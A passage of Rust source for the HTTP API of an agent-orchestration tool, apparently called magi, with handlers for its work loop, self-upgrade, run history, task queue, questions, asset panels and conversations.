1866 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1867) -> ApiResult<Json<LoopView>> {
1868 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1871 blocking(move || {
1872 let reading = daemon::read_status(&ui.home);
1873 let foreign = Foreign::of(reading.as_ref());
1874 if body.running {
1875 ui.start_loop(foreign)?;
1876 } else {
1877 ui.stop_loop(foreign, body.park)?;
1878 }
1879 Ok(Json(ui.loop_view(reading)))
1880 })
1881 .await
1882}
1883
1884#[derive(Debug, Serialize)]
1886struct UpgradeView {
1887 from: String,
1889 to: Option<String>,
1891 parked: Option<String>,
1893 detail: String,
1895}
1896
1897async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1921 let reading = daemon::read_status(&ui.home);
1922 if let Some(other) = Foreign::of(reading.as_ref()) {
1923 return Err(ApiError::conflict(format!(
1924 "the loop belongs to {}, so replacing this binary would leave \
1925 that process running an old one against the same queue. Upgrade \
1926 where it was started.",
1927 other.who()
1928 )));
1929 }
1930
1931 if crate::updater::disabled_by_env() {
1937 return Ok((
1938 StatusCode::OK,
1939 Json(UpgradeView {
1940 from: env!("CARGO_PKG_VERSION").to_owned(),
1941 to: None,
1942 parked: None,
1943 detail: format!(
1944 "Automatic updates are disabled by {}. Nothing was parked \
1945 and nothing restarted.",
1946 crate::updater::NO_AUTOUPDATE_ENV
1947 ),
1948 }),
1949 ));
1950 }
1951
1952 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
1957 let from = env!("CARGO_PKG_VERSION").to_owned();
1958 let latest = match crate::updater::Checker::new(&cfg.update) {
1959 Some(checker) => checker
1960 .newer_release()
1961 .await
1962 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
1963 None => None,
1964 };
1965 let Some(latest) = latest else {
1966 return Ok((
1967 StatusCode::OK,
1968 Json(UpgradeView {
1969 from,
1970 to: None,
1971 parked: None,
1972 detail: "Already on the newest release. Nothing was parked \
1973 and nothing restarted."
1974 .to_owned(),
1975 }),
1976 ));
1977 };
1978
1979 let parked = ui.park_for_upgrade()?;
1982 let detail = match &parked {
1983 Some(run) => format!(
1988 "Run {} is parking at its next step, which can take as long as \
1989 the step it is on - up to an hour for an implement wave. The \
1990 deck replaces itself once it parks, comes back, and the loop \
1991 carries that run on from where it stopped. Nothing is lost if \
1992 you close this.",
1993 crate::run::short_of(run)
1994 ),
1995 None => "The deck replaces itself and comes back. Nothing was in \
1996 flight to park."
1997 .to_owned(),
1998 };
1999
2000 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2004 progress.parked_run = parked.clone();
2005 let _ = updater::write_progress(&ui.home, &progress);
2006
2007 let home = ui.home.clone();
2008 tokio::spawn(async move {
2009 if let Err(e) = upgrade_and_restart(home.clone()).await {
2010 tracing::error!("the upgrade did not complete: {e:#}");
2011 if let Some(mut progress) = updater::read_progress(&home) {
2012 progress.fail(format!("{e:#}"));
2013 let _ = updater::write_progress(&home, &progress);
2014 }
2015 }
2016 });
2017
2018 Ok((
2019 StatusCode::ACCEPTED,
2020 Json(UpgradeView {
2021 from,
2022 to: Some(latest.tag_name),
2023 parked,
2024 detail,
2025 }),
2026 ))
2027}
2028
2029async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2034 crate::updater::run_self_update(true, false, true).await?;
2037 tracing::info!("binary replaced - asking the server to hand over");
2038 if let Some(mut progress) = updater::read_progress(&home) {
2039 progress.advance(updater::Stage::Replaced);
2040 let _ = updater::write_progress(&home, &progress);
2041 }
2042 HANDOVER.notify_one();
2043 Ok(())
2044}
2045
2046#[derive(Debug, Serialize)]
2052struct RunSummary {
2053 id: String,
2054 short: String,
2055 status: String,
2056 done: bool,
2057 instruction: String,
2058 title: String,
2059 repo: String,
2060 repo_name: String,
2061 created_at: String,
2062 updated_at: String,
2063 candidates: usize,
2064 viable: usize,
2065 judges: usize,
2066 winner: Option<char>,
2067 reviews: usize,
2068 quota_losses: usize,
2069 event: Option<String>,
2070 superseded_by: Option<String>,
2075 waiting: bool,
2082 pr: Option<crate::run::PrRecord>,
2084}
2085
2086impl RunSummary {
2087 fn of(state: &RunState, waiting: bool) -> Self {
2088 Self {
2089 id: state.id.clone(),
2090 short: state.short().to_owned(),
2091 status: status_word(state.status),
2092 done: state.status.done(),
2093 instruction: state.instruction.clone(),
2094 title: title_from(&state.instruction, TITLE_MAX),
2095 repo: state.repo.display().to_string(),
2096 repo_name: state
2097 .repo
2098 .file_name()
2099 .map(|n| n.to_string_lossy().into_owned())
2100 .unwrap_or_default(),
2101 created_at: state.created_at.to_string(),
2102 updated_at: state.updated_at.to_string(),
2103 candidates: state.candidates.len(),
2104 viable: state.viable().len(),
2105 judges: state.config.graph.judges,
2106 winner: state.winner().map(|c| c.label),
2107 reviews: state.reviews.len(),
2108 quota_losses: state.quota.len(),
2109 event: state.events.last().map(|e| e.message.clone()),
2110 waiting,
2111 superseded_by: None,
2114 pr: state.pr.clone(),
2115 }
2116 }
2117}
2118
2119fn status_word(status: RunStatus) -> String {
2122 status.as_str().to_owned()
2126}
2127
2128#[derive(Debug, Deserialize)]
2130struct ListQuery {
2131 #[serde(default)]
2132 limit: Option<usize>,
2133}
2134
2135async fn runs_list(
2136 State(ui): State<Arc<Ui>>,
2137 Query(q): Query<ListQuery>,
2138) -> ApiResult<Json<Vec<RunSummary>>> {
2139 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2140 blocking(move || {
2141 let superseded = superseded_runs(&ui.queue);
2142 let summaries = run_ids(&ui.runs)
2143 .into_iter()
2144 .filter_map(|id| read_run(&ui.runs, &id).ok())
2149 .take(limit)
2150 .map(|state| {
2151 let waiting = !ui.questions.open_for(&state.id).is_empty();
2152 let by = superseded.get(&state.id).cloned();
2153 let mut row = RunSummary::of(&state, waiting);
2154 row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
2155 row
2156 })
2157 .collect();
2158 Ok(Json(summaries))
2159 })
2160 .await
2161}
2162
2163fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
2176 let mut by = HashMap::new();
2177 for task in queue.list() {
2178 for pair in task.runs.windows(2) {
2179 if let [earlier, later] = pair {
2180 by.insert(earlier.clone(), later.clone());
2181 }
2182 }
2183 }
2184 by
2185}
2186
2187#[derive(Debug, Serialize)]
2194struct RunDetailView {
2195 #[serde(flatten)]
2196 state: RunState,
2197 instruction_md: Vec<md::Node>,
2198 live: bool,
2208}
2209
2210impl RunDetailView {
2211 fn of(state: RunState, live: bool) -> Self {
2212 Self {
2213 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2214 live,
2215 state,
2216 }
2217 }
2218}
2219
2220async fn run_detail(
2221 State(ui): State<Arc<Ui>>,
2222 Path(id): Path<String>,
2223) -> ApiResult<Json<RunDetailView>> {
2224 blocking(move || {
2225 let id = resolve_run(&ui.runs, &id)?;
2226 let state = read_run(&ui.runs, &id)?;
2227 let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2228 Ok(Json(RunDetailView::of(state, live)))
2229 })
2230 .await
2231}
2232
2233async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2242 let (id, unreadable) = {
2243 let ui = Arc::clone(&ui);
2244 blocking(move || {
2245 let id = resolve_run(&ui.runs, &id)?;
2246 match read_run(&ui.runs, &id) {
2247 Ok(state) => {
2248 let in_flight =
2249 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2250 state
2251 .ensure_can_delete(in_flight)
2252 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2253 let dir = ui.runs.join(&id);
2254 std::fs::remove_dir_all(&dir)
2255 .with_context(|| format!("remove run directory {}", dir.display()))?;
2256 Ok((id, false))
2257 }
2258 Err(_) => {
2259 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2263 return Err(ApiError::conflict(format!(
2264 "run {id} is being worked on by a live daemon right now"
2265 )));
2266 }
2267 Ok((id, true))
2268 }
2269 }
2270 })
2271 .await?
2272 };
2273 if unreadable {
2274 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2275 .await
2276 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2277 }
2278 let ui = Arc::clone(&ui);
2279 let done = id.clone();
2280 blocking(move || {
2281 ui.questions.abandon_for_run(
2284 &done,
2285 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2286 )?;
2287 Ok(())
2288 })
2289 .await?;
2290 Ok(StatusCode::NO_CONTENT)
2291}
2292
2293async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2317 let (id, state) = {
2318 let ui = Arc::clone(&ui);
2319 blocking(move || {
2320 let id = resolve_run(&ui.runs, &id)?;
2321 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2322 return Err(ApiError::conflict(format!(
2323 "run {id} is being worked on by a live daemon right now"
2324 )));
2325 }
2326 let state = read_run(&ui.runs, &id).ok();
2327 Ok((id, state))
2328 })
2329 .await?
2330 };
2331 let removed = match state {
2332 Some(mut state) => {
2333 let removed = crate::graph::fold_run(&mut state, true)
2334 .await
2335 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2336 if removed.is_empty() {
2341 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2342 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2343 }
2344 removed
2345 }
2346 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2347 .await
2348 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2349 };
2350 Ok(Json(FoldView {
2351 run: id,
2352 removed_count: removed.len(),
2353 removed,
2354 }))
2355}
2356
2357#[derive(Debug, Serialize)]
2359struct FoldView {
2360 run: String,
2361 removed: Vec<String>,
2363 removed_count: usize,
2364}
2365
2366async fn run_resume(
2386 State(ui): State<Arc<Ui>>,
2387 Path(id): Path<String>,
2388) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2389 let (id, state) = {
2390 let ui = Arc::clone(&ui);
2391 blocking(move || {
2392 let id = resolve_run(&ui.runs, &id)?;
2393 let state = read_run(&ui.runs, &id)?;
2394 Ok((id, state))
2395 })
2396 .await?
2397 };
2398 if !state.status.resumable() {
2399 return Err(ApiError::conflict(format!(
2400 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2401 state.short(),
2402 status_word(state.status)
2403 )));
2404 }
2405 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2410 .into_iter()
2411 .next()
2412 {
2413 return Err(ApiError::conflict(format!(
2414 "the loop is running run {} right now; stop it first, or wait for \
2415 it to finish, before resuming a run by hand.",
2416 crate::run::short_of(&work.run)
2417 )));
2418 }
2419 let _resume = ui.begin_resume(&id)?;
2420
2421 let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
2424 let run = id.clone();
2425 tokio::spawn(async move {
2426 let _resume = _resume;
2427 match crate::graph::Runner::resume(&run) {
2428 Ok(mut runner) => {
2429 if let Err(e) = runner.execute().await {
2430 tracing::warn!("resume of run {run} stopped: {e:#}");
2431 }
2432 }
2433 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2436 }
2437 });
2438 Ok((StatusCode::ACCEPTED, Json(queued)))
2439}
2440
2441async fn run_report(
2442 State(ui): State<Arc<Ui>>,
2443 Path(id): Path<String>,
2444) -> ApiResult<impl IntoResponse> {
2445 let text = blocking(move || {
2446 let id = resolve_run(&ui.runs, &id)?;
2447 let state = read_run(&ui.runs, &id)?;
2451 let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2452 Ok(format!(
2453 "{}{}",
2454 report::run(&state),
2455 report::active_seats(&state, live)
2456 ))
2457 })
2458 .await?;
2459 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2460}
2461
2462#[derive(Debug, Serialize)]
2468struct TaskView {
2469 #[serde(flatten)]
2470 task: Task,
2471 source_label: String,
2472 status_str: &'static str,
2473 instruction_md: Vec<md::Node>,
2477}
2478
2479impl From<Task> for TaskView {
2480 fn from(task: Task) -> Self {
2481 Self {
2482 source_label: task.source.label(),
2483 status_str: task.status.as_str(),
2484 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2485 task,
2486 }
2487 }
2488}
2489
2490#[derive(Debug, Default, Deserialize)]
2493#[serde(default)]
2494struct ReposQuery {
2495 refresh: u8,
2496}
2497
2498async fn repos_list(
2505 State(ui): State<Arc<Ui>>,
2506 Query(q): Query<ReposQuery>,
2507) -> ApiResult<Json<Vec<repos::Repo>>> {
2508 let refresh = q.refresh != 0;
2509 blocking(move || {
2510 let (cfg, _) = Config::discover(&ui.repo, None)?;
2511 Ok(Json(ui.repos_cache.list(
2512 &cfg.repos.roots,
2513 Duration::from_secs(cfg.repos.scan_ttl),
2514 refresh,
2515 )))
2516 })
2517 .await
2518}
2519
2520async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2521 blocking(move || {
2522 Ok(Json(
2523 ui.queue.list().into_iter().map(TaskView::from).collect(),
2524 ))
2525 })
2526 .await
2527}
2528
2529#[derive(Debug, Default, Deserialize)]
2532#[serde(default, deny_unknown_fields)]
2533struct HoldBody {
2534 reason: Option<String>,
2535}
2536
2537async fn queue_hold(
2538 State(ui): State<Arc<Ui>>,
2539 Path(id): Path<String>,
2540 body: std::result::Result<Json<HoldBody>, JsonRejection>,
2541) -> ApiResult<Json<TaskView>> {
2542 let body = match body {
2546 Ok(Json(body)) => body,
2547 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
2548 Err(e) => return Err(ApiError::bad_request(e.body_text())),
2549 };
2550 let reason = body.reason.filter(|r| !r.trim().is_empty());
2551 mutate(ui, id, move |t| {
2552 t.hold_manual(reason.clone());
2553 Ok(())
2554 })
2555 .await
2556}
2557
2558async fn queue_release(
2559 State(ui): State<Arc<Ui>>,
2560 Path(id): Path<String>,
2561) -> ApiResult<Json<TaskView>> {
2562 mutate(ui, id, |t| {
2563 t.release();
2564 Ok(())
2565 })
2566 .await
2567}
2568
2569#[derive(Debug, Deserialize)]
2571#[serde(deny_unknown_fields)]
2572struct PriorityBody {
2573 priority: i32,
2574}
2575
2576async fn queue_priority(
2582 State(ui): State<Arc<Ui>>,
2583 Path(id): Path<String>,
2584 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
2585) -> ApiResult<Json<TaskView>> {
2586 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2587 mutate(ui, id, move |t| t.set_priority(body.priority)).await
2588}
2589
2590#[derive(Debug, Deserialize)]
2592#[serde(deny_unknown_fields)]
2593struct EditBody {
2594 title: String,
2595 instruction: String,
2596}
2597
2598async fn queue_edit(
2602 State(ui): State<Arc<Ui>>,
2603 Path(id): Path<String>,
2604 body: std::result::Result<Json<EditBody>, JsonRejection>,
2605) -> ApiResult<Json<TaskView>> {
2606 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2607 mutate(ui, id, move |t| {
2608 t.edit(body.title.clone(), body.instruction.clone())
2609 })
2610 .await
2611}
2612
2613async fn queue_done(
2621 State(ui): State<Arc<Ui>>,
2622 Path(id): Path<String>,
2623) -> ApiResult<Json<TaskView>> {
2624 mutate(ui, id, |t| {
2625 t.succeed();
2626 Ok(())
2627 })
2628 .await
2629}
2630
2631async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2639 blocking(move || {
2640 let id = resolve_task(&ui.queue, &id)?;
2641 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2642 ui.queue
2643 .remove(&id, in_flight)
2644 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2645 Ok(StatusCode::NO_CONTENT)
2646 })
2647 .await
2648}
2649
2650async fn mutate(
2659 ui: Arc<Ui>,
2660 id: String,
2661 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
2662) -> ApiResult<Json<TaskView>> {
2663 blocking(move || {
2664 let id = resolve_task(&ui.queue, &id)?;
2665 let _claim = ui.queue.claim(&id).map_err(|e| {
2670 ApiError::conflict(format!(
2671 "{e:#} - a daemon is running this task, so it cannot be \
2672 changed from here yet"
2673 ))
2674 })?;
2675 let mut task = ui.queue.get(&id)?;
2676 change(&mut task).map_err(ApiError::bad_request_from)?;
2677 ui.queue.put(&mut task)?;
2678 Ok(Json(TaskView::from(task)))
2679 })
2680 .await
2681}
2682
2683async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2691 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2692 tokio::spawn(async move {
2693 let mut ticker = tokio::time::interval(POLL);
2694 let mut last: Option<(u64, u64, u64, u64, u64)> = None;
2695 loop {
2696 ticker.tick().await;
2699 let state = Arc::clone(&ui);
2700 let revisions = tokio::task::spawn_blocking(move || {
2701 (
2702 state.queue.revision(),
2703 runs_revision(&state.runs),
2704 state.questions.revision(),
2705 state.talks.revision(),
2706 state.lock_loop().rev,
2710 )
2711 })
2712 .await;
2713 let Ok(revisions) = revisions else { break };
2714 if last == Some(revisions) {
2715 continue;
2716 }
2717 last = Some(revisions);
2718 let payload = serde_json::json!({
2719 "queue_rev": revisions.0,
2720 "runs_rev": revisions.1,
2721 "questions_rev": revisions.2,
2722 "talks_rev": revisions.3,
2723 "loop_rev": revisions.4,
2724 });
2725 let Ok(event) = Event::default().event("change").json_data(payload) else {
2727 break;
2728 };
2729 if tx.send(event).await.is_err() {
2730 break;
2731 }
2732 }
2733 });
2734 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2735 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2736}
2737
2738fn runs_revision(runs: &FsPath) -> u64 {
2745 use std::hash::{Hash as _, Hasher as _};
2746
2747 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2748 .into_iter()
2749 .flatten()
2750 .flatten()
2751 .filter_map(|e| {
2752 let path = e.path().join("run.json");
2753 let mtime = path
2754 .metadata()
2755 .ok()?
2756 .modified()
2757 .ok()?
2758 .duration_since(std::time::UNIX_EPOCH)
2759 .ok()?
2760 .as_millis() as u64;
2761 let id = e.file_name().to_string_lossy().into_owned();
2762 Some((id, mtime))
2763 })
2764 .collect();
2765
2766 if entries.is_empty() {
2767 return 0;
2768 }
2769
2770 entries.sort_unstable();
2771 let mut hasher = std::hash::DefaultHasher::new();
2772 for (id, mtime) in &entries {
2773 id.hash(&mut hasher);
2774 mtime.hash(&mut hasher);
2775 }
2776 let h = hasher.finish();
2777 if h == 0 { 1 } else { h }
2778}
2779
2780fn run_ids(runs: &FsPath) -> Vec<String> {
2786 let mut ids: Vec<String> = std::fs::read_dir(runs)
2787 .into_iter()
2788 .flatten()
2789 .flatten()
2790 .filter(|e| e.path().join("run.json").is_file())
2791 .map(|e| e.file_name().to_string_lossy().into_owned())
2792 .collect();
2793 ids.sort_unstable_by(|a, b| b.cmp(a));
2795 ids
2796}
2797
2798fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2800 let path = runs.join(id).join("run.json");
2801 let body =
2802 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2803 let state: RunState =
2804 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2805 if state.schema != run::SCHEMA {
2806 anyhow::bail!(
2807 "run {} was written by a different magi (schema {}, this build speaks {})",
2808 state.id,
2809 state.schema,
2810 run::SCHEMA
2811 );
2812 }
2813 Ok(state)
2814}
2815
2816#[must_use]
2824pub fn runs_unreadable(runs: &FsPath) -> usize {
2825 run_ids(runs)
2826 .into_iter()
2827 .filter(|id| read_run(runs, id).is_err())
2828 .count()
2829}
2830
2831fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2833 if runs.join(id).join("run.json").is_file() {
2834 return Ok(id.to_owned());
2835 }
2836 pick(run_ids(runs), id, "run")
2837}
2838
2839fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2841 if queue.path_of(id).is_file() {
2842 return Ok(id.to_owned());
2843 }
2844 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2845}
2846
2847#[derive(Debug, Serialize)]
2858struct QuestionView {
2859 #[serde(flatten)]
2860 question: Question,
2861 detail_md: Vec<md::Node>,
2862 waiting_on_agent: bool,
2872}
2873
2874impl From<Question> for QuestionView {
2875 fn from(question: Question) -> Self {
2876 let base = md::ImageBase::QuestionPanel {
2877 id: question.id.clone(),
2878 };
2879 Self {
2880 detail_md: md::to_nodes(&question.detail, &base),
2881 waiting_on_agent: question.waiting_on_agent(),
2882 question,
2883 }
2884 }
2885}
2886
2887async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
2893 blocking(move || {
2894 Ok(Json(
2895 ui.questions
2896 .list()
2897 .into_iter()
2898 .map(QuestionView::from)
2899 .collect(),
2900 ))
2901 })
2902 .await
2903}
2904
2905#[derive(Debug, Default, Deserialize)]
2911#[serde(default, deny_unknown_fields)]
2912struct NewAnswer {
2913 choice: Option<String>,
2914 text: Option<String>,
2915}
2916
2917async fn question_answer(
2918 State(ui): State<Arc<Ui>>,
2919 Path(id): Path<String>,
2920 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
2921) -> ApiResult<Json<QuestionView>> {
2922 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2923 let answer = match (body.choice, body.text) {
2924 (Some(c), None) => Answer::Choice(c),
2925 (None, Some(t)) => Answer::Text(t),
2926 (Some(_), Some(_)) => {
2927 return Err(ApiError::bad_request(
2928 "send either `choice` or `text`, not both",
2929 ));
2930 }
2931 (None, None) => {
2932 return Err(ApiError::bad_request("send a `choice` or a `text`"));
2933 }
2934 };
2935
2936 blocking(move || {
2937 let id = resolve_question(&ui.questions, &id)?;
2938 let mut q = ui
2939 .questions
2940 .get(&id)
2941 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
2942 if !q.status.open() {
2943 return Err(ApiError::conflict(format!(
2947 "question {} is already {}",
2948 q.short(),
2949 q.status.as_str()
2950 )));
2951 }
2952 q.answer(answer).map_err(ApiError::bad_request_from)?;
2956 ui.questions.put(&mut q)?;
2957 Ok(Json(QuestionView::from(q)))
2958 })
2959 .await
2960}
2961
2962#[derive(Debug, Deserialize)]
2964#[serde(deny_unknown_fields)]
2965struct NewSay {
2966 body: String,
2967}
2968
2969async fn question_say(
2979 State(ui): State<Arc<Ui>>,
2980 Path(id): Path<String>,
2981 body: std::result::Result<Json<NewSay>, JsonRejection>,
2982) -> ApiResult<Json<QuestionView>> {
2983 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2984 blocking(move || {
2985 let id = resolve_question(&ui.questions, &id)?;
2986 let mut q = ui
2987 .questions
2988 .get(&id)
2989 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
2990 if !q.status.open() {
2991 return Err(ApiError::conflict(format!(
2995 "question {} is already {}",
2996 q.short(),
2997 q.status.as_str()
2998 )));
2999 }
3000 q.say(body.body).map_err(ApiError::bad_request_from)?;
3003 ui.questions.put(&mut q)?;
3004 Ok(Json(QuestionView::from(q)))
3005 })
3006 .await
3007}
3008
3009fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3011 if store.path_of(id).is_file() {
3012 return Ok(id.to_owned());
3013 }
3014 pick(
3015 store.list().into_iter().map(|q| q.id).collect(),
3016 id,
3017 "question",
3018 )
3019}
3020
3021async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3036 blocking(move || {
3037 let id = resolve_question(&ui.questions, &id)?;
3038 let Some(html) = ui.questions.panel_html(&id) else {
3039 return Err(ApiError::not_found(format!("question {id} has no panel")));
3040 };
3041 Ok(panel_response(
3042 "text/html; charset=utf-8",
3043 false,
3044 html.into_bytes(),
3045 ))
3046 })
3047 .await
3048}
3049
3050async fn question_asset(
3078 State(ui): State<Arc<Ui>>,
3079 Path((id, name)): Path<(String, String)>,
3080) -> ApiResult<Response> {
3081 if !crate::ask::valid_asset_name(&name) {
3084 return Err(ApiError::bad_request(format!(
3085 "`{name}` is not a usable asset name"
3086 )));
3087 }
3088 blocking(move || {
3089 let id = resolve_question(&ui.questions, &id)?;
3090 let asset = ui
3091 .questions
3092 .panel_asset(&id, &name)
3093 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3094 let Some(bytes) = asset else {
3095 return Err(ApiError::not_found(format!(
3096 "question {id} has no asset `{name}`"
3097 )));
3098 };
3099 Ok(panel_response(
3100 asset_content_type(&name),
3101 is_svg(&name),
3102 bytes,
3103 ))
3104 })
3105 .await
3106}
3107
3108fn asset_content_type(name: &str) -> &'static str {
3121 match extension(name).as_deref() {
3122 Some("png") => "image/png",
3123 Some("jpg" | "jpeg") => "image/jpeg",
3124 Some("gif") => "image/gif",
3125 Some("webp") => "image/webp",
3126 Some("svg") => "image/svg+xml",
3127 Some("css") => "text/css; charset=utf-8",
3128 Some("txt") => "text/plain; charset=utf-8",
3129 _ => "application/octet-stream",
3130 }
3131}
3132
3133fn is_svg(name: &str) -> bool {
3136 extension(name).as_deref() == Some("svg")
3137}
3138
3139fn extension(name: &str) -> Option<String> {
3141 name.rsplit_once('.')
3142 .map(|(_, ext)| ext.to_ascii_lowercase())
3143}
3144
3145fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3162 let mut res = (
3163 [
3164 (header::CONTENT_TYPE, content_type),
3165 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3166 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3167 (header::REFERRER_POLICY, "no-referrer"),
3168 ],
3169 body,
3170 )
3171 .into_response();
3172 if download {
3173 res.headers_mut().insert(
3174 header::CONTENT_DISPOSITION,
3175 HeaderValue::from_static("attachment"),
3176 );
3177 }
3178 res
3179}
3180
3181#[derive(Debug, Serialize)]
3187struct TalkView {
3188 #[serde(flatten)]
3189 talk: Talk,
3190 turn_bodies_md: Vec<Vec<md::Node>>,
3191 thinking: bool,
3199}
3200
3201impl TalkView {
3202 fn new(talk: Talk, thinking: bool) -> Self {
3203 let turn_bodies_md = talk
3204 .turns
3205 .iter()
3206 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3207 .collect();
3208 Self {
3209 turn_bodies_md,
3210 thinking,
3211 talk,
3212 }
3213 }
3214}
3215
3216#[derive(Debug, Serialize)]
3221struct TalkDetailView {
3222 #[serde(flatten)]
3223 view: TalkView,
3224 tasks: Vec<TaskView>,
3225}
3226
3227async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3232 blocking(move || {
3233 Ok(Json(
3234 ui.talks
3235 .list()
3236 .into_iter()
3237 .map(|talk| {
3238 let thinking = ui.is_thinking(&talk.id);
3239 TalkView::new(talk, thinking)
3240 })
3241 .collect(),
3242 ))
3243 })
3244 .await
3245}
3246
3247#[derive(Debug, Default, Deserialize)]
3252#[serde(default)]
3253struct NewTalk {
3254 agent: Option<String>,
3255 repo: Option<PathBuf>,
3256}
3257
3258async fn talk_post(
3261 State(ui): State<Arc<Ui>>,
3262 body: std::result::Result<Json<NewTalk>, JsonRejection>,
3263) -> ApiResult<impl IntoResponse> {
3264 let body = match body {
3268 Ok(Json(body)) => body,
3269 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3270 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3271 };
3272 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3273 let cfg = config_for(&repo).await?;
3274 let view = blocking(move || {
3275 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3276 let thinking = ui.is_thinking(&talk.id);
3277 Ok(TalkView::new(talk, thinking))
3278 })
3279 .await?;
3280 Ok((StatusCode::CREATED, Json(view)))
3281}
3282
3283async fn talk_detail(
3285 State(ui): State<Arc<Ui>>,
3286 Path(id): Path<String>,
3287) -> ApiResult<Json<TalkDetailView>> {
3288 blocking(move || {
3289 let id = resolve_talk(&ui.talks, &id)?;
3290 let talk = ui.talks.get(&id)?;
3291 let thinking = ui.is_thinking(&talk.id);
3292 let tasks = talk::tasks_of(&ui.queue, &talk.id)
3293 .into_iter()
3294 .map(TaskView::from)
3295 .collect();
3296 Ok(Json(TalkDetailView {
3297 view: TalkView::new(talk, thinking),
3298 tasks,
3299 }))
3300 })
3301 .await
3302}
3303
3304#[derive(Debug, Default, Deserialize)]
3310#[serde(default, deny_unknown_fields)]
3311struct NewTalkTurn {
3312 text: String,
3313 attachments: Vec<String>,
3314}
3315
3316#[derive(Debug, Deserialize)]
3317#[serde(deny_unknown_fields)]
3318struct EditTalkPending {
3319 text: String,
3320 expected_text: String,
3321 expected_attachments: Vec<String>,
3322}
3323
3324#[derive(Debug, Deserialize)]
3325#[serde(deny_unknown_fields)]
3326struct ClearTalkPending {
3327 expected_text: String,
3328 expected_attachments: Vec<String>,
3329}
3330
3331async fn talk_say(
3343 State(ui): State<Arc<Ui>>,
3344 Path(id): Path<String>,
3345 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3346) -> ApiResult<(StatusCode, Json<TalkView>)> {
3347 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3348 if body.text.trim().is_empty() && body.attachments.is_empty() {
3349 return Err(ApiError::bad_request("say something"));
3350 }
3351
3352 let id = {
